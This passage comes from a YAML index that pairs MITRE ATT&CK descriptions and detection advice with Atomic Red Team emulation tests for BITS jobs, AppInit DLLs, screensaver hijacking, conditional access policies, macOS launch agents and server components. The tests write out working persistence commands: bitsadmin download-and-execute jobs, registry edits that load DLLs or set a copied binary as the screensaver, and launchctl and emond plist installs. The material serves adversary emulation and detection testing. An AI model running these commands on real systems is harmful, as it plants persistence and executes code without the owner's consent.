Elastic - David French, Elastic - Ricardo Dias - Red Canary x_mitre_deprecated: false x_mitre_detection: |- BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Service: Service Metadata' x_mitre_defense_bypassed: - Firewall - Host forensic analysis type: attack-pattern id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1197 external_id: T1197 - source_name: CTU BITS Malware June 2016 description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018. url: https://www.secureworks.com/blog/malware-lingers-with-bits - source_name: Symantec BITS May 2007 description: Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018. url: https://www.symantec.com/connect/blogs/malware-update-windows-update - source_name: Elastic - Hunting for Persistence Part 1 description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.' url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - source_name: PaloAlto UBoatRAT Nov 2017 description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018. url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - source_name: Microsoft Issues with BITS July 2011 description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018. url: https://technet.microsoft.com/library/dd939934.aspx - source_name: Microsoft BITS description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018. url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - source_name: Microsoft BITSAdmin description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. url: https://msdn.microsoft.com/library/aa362813.aspx - source_name: Microsoft COM description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - source_name: Mondok Windows PiggyBack BITS May 2007 description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018. url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1197 atomic_tests: - name: Bitsadmin Download (cmd) auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421 description: | This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload supported_platforms: - windows input_arguments: remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md local_file: description: Local file path to save downloaded file type: path default: "%temp%\\bitsadmin1_flag.ps1" executor: command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file} ' cleanup_command: 'del #{local_file} >nul 2>&1 ' name: command_prompt - name: Bitsadmin Download (PowerShell) auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc description: | This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload leveraging PowerShell Upon execution you will find a github markdown file downloaded to the Temp directory supported_platforms: - windows input_arguments: remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md local_file: description: Local file path to save downloaded file type: path default: "$env:TEMP\\bitsadmin2_flag.ps1" executor: command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file} ' cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore ' name: powershell - name: Persist, Download, & Execute auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae description: | This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps. Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable. This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS" This job will remain in the BITS queue until complete or for up to 90 days by default if not removed. supported_platforms: - windows input_arguments: command_path: description: Path of command to execute type: path default: C:\Windows\system32\notepad.exe bits_job_name: description: Name of BITS job type: string default: AtomicBITS local_file: description: Local file path to save downloaded file type: path default: "%temp%\\bitsadmin3_flag.ps1" remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md executor: command: | bitsadmin.exe /create #{bits_job_name} bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL bitsadmin.exe /resume #{bits_job_name} ping -n 5 127.0.0.1 >nul 2>&1 bitsadmin.exe /complete #{bits_job_name} cleanup_command: 'del #{local_file} >nul 2>&1 ' name: command_prompt - name: Bits download using desktopimgdownldr.exe (cmd) auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114 description: "This test simulates using desktopimgdownldr.exe to download a malicious file\ninstead of a desktop or lockscreen background img. The process that actually makes \nthe TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) \nand not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n" supported_platforms: - windows input_arguments: remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md download_path: description: Local file path to save downloaded file type: path default: SYSTEMROOT=C:\Windows\Temp cleanup_path: description: path to delete file as part of cleanup_command type: path default: C:\Windows\Temp\Personalization\LockScreenImage cleanup_file: description: file to remove as part of cleanup_command type: string default: "*.md" executor: command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr ' cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >nul 2>&1 ' name: command_prompt T1546.010: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: AppInit DLLs' description: "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Process: OS API Execution' x_mitre_effective_permissions: - Administrator - SYSTEM x_mitre_permissions_required: - Administrator x_mitre_system_requirements: - Secure boot disabled on systems running Windows 8 and later type: attack-pattern id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd created: '2020-01-24T14:52:25.589Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/010 external_id: T1546.010 - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: AppInit Registry description: Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015. url: https://support.microsoft.com/en-us/kb/197571 - source_name: AppInit Secure Boot description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015. url: https://msdn.microsoft.com/en-us/library/dn280412 - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.010 atomic_tests: - name: Install AppInit Shim auto_generated_guid: a58d9386-3080-4242-ab5f-454c16503d18 description: "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n" supported_platforms: - windows input_arguments: registry_file: description: Windows Registry File type: path default: PathToAtomicsFolder\T1546.010\src\T1546.010.reg registry_cleanup_file: description: Windows Registry File type: path default: PathToAtomicsFolder\T1546.010\src\T1546.010-cleanup.reg dependency_executor_name: powershell dependencies: - description: 'Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file}) ' prereq_command: 'if ((Test-Path "#{registry_file}") -and (Test-Path "#{registry_cleanup_file}")) {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path "#{registry_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}" - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and T1546.010x86.dll) ' prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll)) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll executor: command: 'reg.exe import "#{registry_file}" ' cleanup_command: 'reg.exe import "#{registry_cleanup_file}" >nul 2>&1 ' name: command_prompt elevation_required: true T1546.002: technique: modified: '2023-07-28T18:17:34.185Z' name: 'Event Triggered Execution: Screensaver' description: |- Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence: * SCRNSAVE.exe - set to malicious PE path * ScreenSaveActive - set to '1' to enable the screensaver * ScreenSaverIsSecure - set to '0' to not require a password to unlock * ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Bartosz Jerzman x_mitre_deprecated: false x_mitre_detection: |- Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf created: '2020-01-24T13:51:01.210Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/002 external_id: T1546.002 - source_name: ESET Gazer Aug 2017 description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.' url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf - source_name: Wikipedia Screensaver description: Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. url: https://en.wikipedia.org/wiki/Screensaver object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.002 atomic_tests: - name: Set Arbitrary Binary as Screensaver auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64 description: 'This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon. ' supported_platforms: - windows input_arguments: input_binary: description: Executable binary to use in place of screensaver for persistence type: path default: C:\Windows\System32\cmd.exe reboot: description: Set to non-zero value if you want the test to reboot the system so that changes take effect type: integer default: 0 executor: command: | reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr" reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f if #{reboot} NEQ 0 shutdown /r /t 0 cleanup_command: | reg import %userprofile%\backup.reg del %userprofile%\backup.reg del %SystemRoot%\System32\evilscreensaver.scr name: command_prompt elevation_required: true T1556.009: technique: modified: '2024-04-18T20:53:46.175Z' name: Conditional Access Policies description: "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Gavin Knapp - Joshua Penny x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - SaaS - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Cloud Service: Cloud Service Modification' type: attack-pattern id: attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae created: '2024-01-02T13:43:37.389Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/009 external_id: T1556.009 - source_name: AWS IAM Conditions description: 'AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.' url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html - source_name: GCP IAM Conditions description: Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024. url: https://cloud.google.com/iam/docs/conditions-overview - source_name: JumpCloud Conditional Access Policies description: 'JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.' url: https://jumpcloud.com/support/get-started-conditional-access-policies - source_name: Microsoft Conditional Access description: Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024. url: https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview - source_name: Okta Conditional Access Policies description: Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024. url: https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1543.001: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Antonio Piazza, @antman1p object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584 created: '2020-01-17T16:10:58.592Z' x_mitre_version: '1.4' external_references: - source_name: mitre-attack external_id: T1543.001 url: https://attack.mitre.org/techniques/T1543/001 - source_name: AppleDocs Launch Agent Daemons url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. - source_name: Sofacy Komplex Trojan url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - source_name: OceanLotus for OS X url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. - source_name: OSX Keydnap malware url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. - source_name: Methods of Mac Malware Persistence url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. - source_name: OSX Malware Detection url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' - source_name: Antiquated Mac Malware url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. - source_name: OSX.Dok Malware url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. x_mitre_deprecated: false revoked: false description: "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) " modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Create or Modify System Process: Launch Agent' x_mitre_detection: "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Modification' - 'Service: Service Modification' - 'File: File Creation' - 'Service: Service Creation' - 'Command: Command Execution' x_mitre_permissions_required: - Administrator - User x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1543.001 atomic_tests: - name: Launch Agent auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900 description: 'Create a plist and execute it ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The shared library doesn''t exist. Check the path"; exit 1; ' executor: name: bash elevation_required: true command: | if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi; sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename} sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename} cleanup_command: | sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename} sudo rm ~/Library/LaunchAgents/#{plist_filename} - name: Event Monitor Daemon Persistence auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e description: "This test adds persistence via a plist to execute via the macOS Event Monitor Daemon. \n" supported_platforms: - macos input_arguments: script_location: description: evil plist location type: path default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" script_destination: description: Path where to move the evil plist type: path default: "/etc/emond.d/rules/atomicredteam_T1543_001.plist" empty_file: description: Random name of the empty file used to trigger emond service type: string default: randomflag executor: name: bash elevation_required: true command: | sudo cp #{script_location} #{script_destination} sudo touch /private/var/db/emondClients/#{empty_file} cleanup_command: |- sudo rm #{script_destination} sudo rm /private/var/db/emondClients/#{empty_file} - name: Launch Agent - Root Directory auto_generated_guid: 66774fa8-c562-4bae-a58d-5264a0dd9dd7 description: 'Create a plist and execute it ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.T1543.001.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" dependency_executor_name: bash dependencies: - description: "/Library/LaunchAgents must exist\n" prereq_command: 'if [ ! -d /Library/LaunchAgents ]; then mkdir /Library/LaunchAgents; exit 0; fi; ' get_prereq_command: 'echo "Failed to create /Library/LaunchAgents"; exit 1; ' - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename} launchctl load -w /Library/LaunchAgents/#{plist_filename} cleanup_command: | launchctl unload /Library/LaunchAgents/#{plist_filename} sudo rm /Library/LaunchAgents/#{plist_filename} sudo rm /tmp/T1543_001_atomicredteam.txt T1505: technique: modified: '2022-11-08T14:00:00.188Z' name: Server Software Component description: 'Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) " x_mitre_platforms: - Windows - Linux - macOS - Network x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.4' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb created: '2019-06-28T17:52:07.296Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1505 external_id: T1505 - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: US-CERT Alert TA15-314A Web Shells description: US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. url: https://www.us-cert.gov/ncas/alerts/TA15-314A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - 